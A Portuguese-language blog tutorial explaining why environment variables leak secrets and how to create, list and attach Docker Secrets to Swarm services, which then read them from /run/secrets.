Quando estamos trabalhando em um projeto e precisamos passar informações sensíveis para o ambiente, tais como senhas, chaves privadas, tokens, chaves de APIs e afins sempre passamos pelo problema de não podermos deixar no controle de versão e devemos sempre utilizar uma maneira segura de trafegar esses segredos.

Muitas vezes acabamos trabalhando com variáveis de ambiente para guardar essas informações, o que não é recomendado por alguns motivos.

Diogo Monica que é um dos engenheiros de software da Docker mencionou em um comentário que variáveis de ambiente quebram o princípio de “least surprise” e podem levar a eventuais vazamentos de segredos já que estão acessíveis de várias maneiras, tais como linked containers, através do *docker inspect*, de processos filhos e até de arquivos de logs já que em caso de exceptions da aplicação muitos frameworks fazem o dump do contexto, inclusive o valor das variáveis de ambiente no arquivo de log.

 

Um pouco da história

Em Janeiro de 2015 houve uma proposta de adicionar o comando `docker vault` numa alusão ao Vault Project da Hashicorp para fazer a gerencia de segredos dentro do próprio Docker. Segue o link para a issue 10310 no GitHub. A discussão evoluiu e virou a issue 13490, onde trataram do roadmap para o atual Docker Secrets.

 

Como funciona?

O Docker Secrets funciona como um cofre onde você pode colocar coisas sensíveis lá e só que tem a chave do cofre consegue utilizar, no caso essa chave é designada aos nós dos serviços que a chave for atribuída.

 

Dicas

  • Só funciona no Swarm Mode onde toda a comunicação entre os nós é por padrão encriptada.
  • Se utiliza do algoritmo de RAFT para persistir o segredo de forma encriptada por todos os nós managers e distribuir aos containers que fizerem parte do serviço ao qual a chave for atribuída.

Segue diagrama da própria Docker:

Criando um secret

Podemos criar um secret de duas maneiras, usando o STDIN:

$ echo "ConteudoDoSecret" | docker secret create um-secret -

Ou lendo um arquivo:

$ docker secret create novo-secret $HOME/senhas.txt

 

Listando, removendo e demais opções

Para listar as secrets disponíveis:

$ docker secrets ls
  ID NAME CREATED UPDATED
  8ulrzh4i1kdlxeypgh8hx5imt um-secret 3 minutes ago 3 minutes ago
  n95fprwd2trpqnjooojmpsh6z novo-secret About an hour ago About an hour ago

Demais opções do que fazer com os secrets como remover, inspecionar, etc podem ser listadas com o help:

$ docker secret --help

 

Usando o secret criado

Podemos criar um serviço usando um secret criado com o comando:

$ docker service create --name demo --secret um-secret mysql:5.7

Podemos remover um secret de algum serviço existente

$ docker service update --secret-rm um-secret demo

Ou podemos adicionar um secret a algum service que esteja de pé:

$ docker service update --secret-add novo-secret demo

 

Quando atrelamos um secret a um service podemos então acessar qualquer um dos containers que estejam rodando nesse service no path /run/secrets. Dentro do container nesse path vai existir um arquivo plain text com o nome igual ao definido no nome do secret e com o conteúdo desejado, o secret em plain text. No nosso caso seria no path /run/secrets/novo-secret.

 

Bem legal não é? Ajude divulgando o blog, e fique ligado teremos muitas novidades em breve, então se não se inscreveu em nossa newsletter, inscreva-se ;). Até a próxima.

 

Fonte: http://dumpscerebrais.com/2017/02/como-trabalhar-com-secrets-no-docker-1-13-x/